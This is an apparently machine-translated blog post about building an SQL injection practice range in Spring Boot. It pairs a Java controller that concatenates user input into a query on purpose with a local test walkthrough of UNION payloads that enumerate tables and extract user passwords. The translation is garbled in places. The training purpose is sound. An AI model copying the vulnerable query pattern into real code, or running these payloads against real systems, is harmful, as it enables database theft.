Universidad de Shandong Software College Project Training-Innovative Training-Shandong University Software Institute Network Attack and Defense Shooting Range Experimental Platform (6)


Prefacio:

En los primeros días de la capacitación del proyecto, mi trabajo principal es aprender la instalación y el uso de docker, y aprender a usar la línea de comando para controlar la creación y eliminación de contenedores docker. Luego, aprenda el uso básico del framework springboot, comprenda los principios básicos y el mecanismo operativo de su framework. Realiza el uso de springboot para conectarse al servicio docker en el servidor remoto y realiza la creación y eliminación dinámicas del contenedor. La siguiente tarea es escribir el código de la vulnerabilidad. Principalmente escribo el código de back-end, y el front-end lo completan otros miembros del grupo. Por lo tanto, al escribir la implementación de una vulnerabilidad específica, simplemente escribiré el código front-end para realizar las funciones correspondientes es suficiente, independientemente del diseño y la estética.
Escribiendo vulnerabilidades de inyección de SQL que son comunes y adecuadas para principiantes.



1. Introducción a las vulnerabilidades de inyección SQL

Si desea reproducir y crear un entorno de campo de tiro con vulnerabilidades de inyección SQL, debe aprender a comprender los principios, los peligros, los métodos de utilización y cómo reparar y defender las vulnerabilidades de inyección SQL.

1. Introducción

El atacante malicioso empalma los parámetros ingresados ​​en el paquete de datos en declaraciones SQL y las transmite al servidor web. Debido a que los desarrolladores del servidor web no juzgan la validez de los datos o el filtrado no es estricto, luego se pasan al servidor de base de datos, lo que resulta en comandos SQL maliciosos empalmados.Ejecutado para lanzar un ataque de inyección SQL.
Pertenece a la vulnerabilidad que el servidor no filtra estrictamente los datos de entrada del usuario o incluso no realiza ninguna inspección ni filtrado.
Según el código escrito por el programador back-end del servidor, la inyección de SQL se puede dividir en los siguientes tipos:


2. Peligro

Las vulnerabilidades de inyección de SQL se relacionan principalmente con las bases de datos, por lo que la mayor parte del daño causado está relacionado con la base de datos, pero bajo ciertas condiciones, también puede causar otros daños más graves. En pocas palabras, los posibles peligros son los siguientes:

  1. Arrastrar la base de datos: un peligro relativamente común, los atacantes malintencionados pueden llevarse datos confidenciales en la base de datos del sistema comprometido, lo que resulta en una fuga de información.
  2. Elevar el derecho a obtener el shell: después de obtener el contenido de la base de datos, ejecute aún más la ejecución de código remoto, manipule el sistema operativo de la otra parte y continúe monitoreando y controlando.
  3. Bloqueo de sitios web, manipulación de páginas web, difusión de espacios publicitarios: al escribir archivos relevantes en el sistema de base de datos que ha sido invadido, se realizan comportamientos maliciosos como el bloqueo de sitios web.

3, uso

De acuerdo con el principio de generación de vulnerabilidades de inyección de SQL, el uso de vulnerabilidades de inyección de SQL para lograr el robo de información, la intrusión de sistemas de bases de datos y una mayor escalada de privilegios, que shell y otras operaciones necesitan para construir razonablemente cargas útiles para tipos específicos de inyección de SQL.
En términos generales, descubrir y explotar una vulnerabilidad de inyección SQL se puede dividir en los siguientes pasos:

  1. Encuentre posibles puntos de inyección (¿cuadro de entrada? xx= en url? etc.)
  2. Pruebe el tipo de inyección SQL (¿numérico? ¿Carácter? ¿Comillas simples o dobles? ¿Con o sin paréntesis?)
  3. Determinar si existe un mecanismo de filtrado
  4. Considere cómo eludir
  5. Nombre de la biblioteca explosiva
  6. nombre explosivo
  7. campo de ráfaga
  8. biblioteca de arrastre

4. Prevención

  1. nivel de código

1. Escapar del contenido ingresado por el usuario (por ejemplo, use la función en PHP: función mysql_real_escape(), etc.)
2. Limite la longitud del contenido ingresado por el usuario en la interfaz (se requiere restricción en el back-end)
3. Use el preprocesamiento de sentencias SQL (para SQL La sentencia primero se precompila, se vinculan los parámetros y finalmente se pasan los parámetros)

  1. nivel de red

1. Implemente un firewall
2. Implemente software de seguridad relevante (por ejemplo: perro de seguridad, terciopelo, etc.)

  1. otros niveles

1. Pruebas regulares de penetración de la seguridad del sitio web
2. Escaneo regular
3. Cifrado de la base de datos



2. Configuración relacionada

Debido a que la recurrencia de las vulnerabilidades de inyección SQL no puede faltar en las operaciones relacionadas con la base de datos, es necesario configurar proyectos relacionados con la base de datos para el proyecto y escribir el archivo application.properties

spring.datasource.url = jdbc:mysql://127.0.0.1:3306/pikachu?useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT%2B8
spring.datasource.username = root
spring.datasource.password = root
spring.datasource.driverClassName = com.mysql.jdbc.Driver

spring.thymeleaf.prefix = classpath:/templates/

Escribir pom.xml e importar dependencias relacionadas

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.4</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>sqli</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>sqli</name>
    <description>sqli</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-data-jdbc</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-jdbc</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>mysql</groupId>
            <artifactId>mysql-connector-java</artifactId>
            <scope>runtime</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>

    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>



3. Escriba el código de back-end "SQL Injection Vulnerability - Digital Injection"

1. Cree un proyecto usando el framework springboot

Esta parte es la misma que el proceso de creación de proyectos anterior.Usando el framework Springboot, Java 8
inserte la descripción de la imagen aquí
selecciona Spring Web
inserte la descripción de la imagen aquí
para crear un nuevo proyecto.

2. Escriba el controlador de índice

indexController se utiliza para aceptar solicitudes del navegador y hacer coincidir aún más con la página del sitio web correcta de acuerdo con la dirección de la solicitud.
Dos solicitudes, una para solicitar la interfaz principal, que coincide con index.html; la otra es para solicitar el entorno de rango de inyección numérica para inyección SQL, que coincide con sqli_num.html.
Código:

package com.example.sqli.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
public class indexController {
    
    
    @RequestMapping(value={
    
    "/","/index.html"})
    public String index(){
    
    
        return "index";
    }
    //spring.thymeleaf.prefix.classpath = /templates/
    @RequestMapping(value={
    
    "sqli_num"})
    public String sqli_num_index(){
    
    
        return "sqli_num";
    }
}

3. Escribir SQLi - selección numérica

Esta parte del código es el código central para implementar la inyección de SQL. Al reproducir un entorno con vulnerabilidades de inyección de SQL, se puede usar para practicar.
La idea principal es una declaración de consulta de selección, pero no realice ninguna operación de precompilación y preprocesamiento, empalmando directamente los datos de entrada del usuario recibidos desde el front-end en la declaración SQL para darse cuenta de la vulnerabilidad de inyección SQL.

package com.example.sqli.controller;

import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;

import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

@Controller
@RequestMapping("/sqli/")//接口注解
public class sqli {
    
    
    @Autowired
    DataSource dataSource;
    public String sql;

    //数字型SQL注入漏洞(测试payload:-1 or 1=1 --)
    @RequestMapping("num")
    public String sqli_num(@RequestParam(value = "id",required = false) String id, Model model) throws SQLException {
    
    
          System.out.println(dataSource.getClass());
          Connection connection = dataSource.getConnection();
          System.out.println(connection);

          Statement stmt = connection.createStatement();
          sql="select * from users where id = "+id;
          //组装sql
          //stringBuilder.append("select userid, username, state from mchat.user_info");

          //List<Map> list = new ArrayList<>();
          ResultSet rs = stmt.executeQuery(sql);
          // 通过此对象可以得到表的结构,包括,列名,列的个数,列数据类型
          while (rs.next()) {
    
    
              //转化为List<Map>格式
              //Map<String, Object> map = new HashMap<>();
//              for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
    
    
//                  String colName = rs.getMetaData().getColumnName(i);
//                  Object value = rs.getObject(colName);//获取列对应的值。
//                  //map.put(colName, value);
//                  System.out.println(value);
//                  model.addAttribute("id",value);
//              }
              Object value = rs.getObject("username");//获取列对应的值。
              System.out.println(value);
              model.addAttribute("id",value);
              //list.add(map);
          }
          rs.close();
          //return list;
          connection.close();
          System.out.println("model:"+model);
          return "sqli_num";
    }
}

3. Escriba el código front-end de "vulnerabilidad de inyección SQL - inyección digital"

index.html: interfaz principal, interfaz de índice

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>SQL注入</title>
</head>
<body>
<input type="button" value="数字型有回显注入"
       onclick="javascrtpt:window.location.href='http://localhost:8080/sqli_num'" />


</body>
</html>

sqli_num.html: interfaz numérica simple con inyección de eco en el front-end

<!DOCTYPE html>
<html lang="en" xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>数字型有回显注入</title>
    <script src="../static/js/jquery-1.4.4.min.js"></script>
</head>
<body>

<form action="http://localhost:8080/sqli/num" method="get">
    请输入学号ID: <input type="text" name="id" />
    <input type="submit" value="查找" />
</form>
<p id="demo">我的第一个段落</p>


<script th:inline="javascript" >
    const v = [[${
     
     id}]];
    sessionStorage.setItem("id",v);

    const loginName = sessionStorage.getItem("id");
    <span id="test" className="x-red"></span>
    test.innerHTML=loginName;
</script>


</body>
</html>


Cuarto, ejecuta la prueba.

  1. Proyecto de inicio
    inserte la descripción de la imagen aquí

  2. Visite localhost:8080/
    inserte la descripción de la imagen aquí

  3. Pruebe la carga útil de inyección digital
    inserte la descripción de la imagen aquí
    : 1
    eco:
    inserte la descripción de la imagen aquí
    carga útil: -1 or 1=1 --
    eco:
    inserte la descripción de la imagen aquí
    carga útil: -1 or 1=1 order by 2 --
    eco:
    inserte la descripción de la imagen aquí
    carga útil: -1 or 1=1 order by 1 --
    eco:
    inserte la descripción de la imagen aquí
    pruebe que solo se consulta el contenido de un campo

Carga útil: -1 UNION SELECT DATABASE()--
echo:
inserte la descripción de la imagen aquí
obtenga el nombre de la base de datos pikachu

payload: -1 UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.TABLES WHERE table_schema='pikachu' --
echo:
inserte la descripción de la imagen aquí
obtener todos los nombres de tablas en la biblioteca

carga útil: -1 UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema='pikachu'--
eco:
inserte la descripción de la imagen aquí
obtener todos los nombres de campo en la tabla

carga útil: eco de -1 UNION SELECTcontraseña : obtenga todas las contraseñas de cuentas de usuario en la base de datosFROM users--

inserte la descripción de la imagen aquí



Artículo de referencia:

https://blog.csdn.net/Aaron_Miller/article/details/105733688
https://zhuanlan.zhihu.com/p/418299128
https://www.renrendoc.com/paper/138788911.html
https://www .jianshu.com/p/89e6676b8e37
http://www.bubuko.com/infodetail-3578145.html
https://www.pianshen.com/article/9491310812/

Supongo que te gusta

Origin blog.csdn.net/m0_47470899/article/details/123446421
Recomendado
Clasificación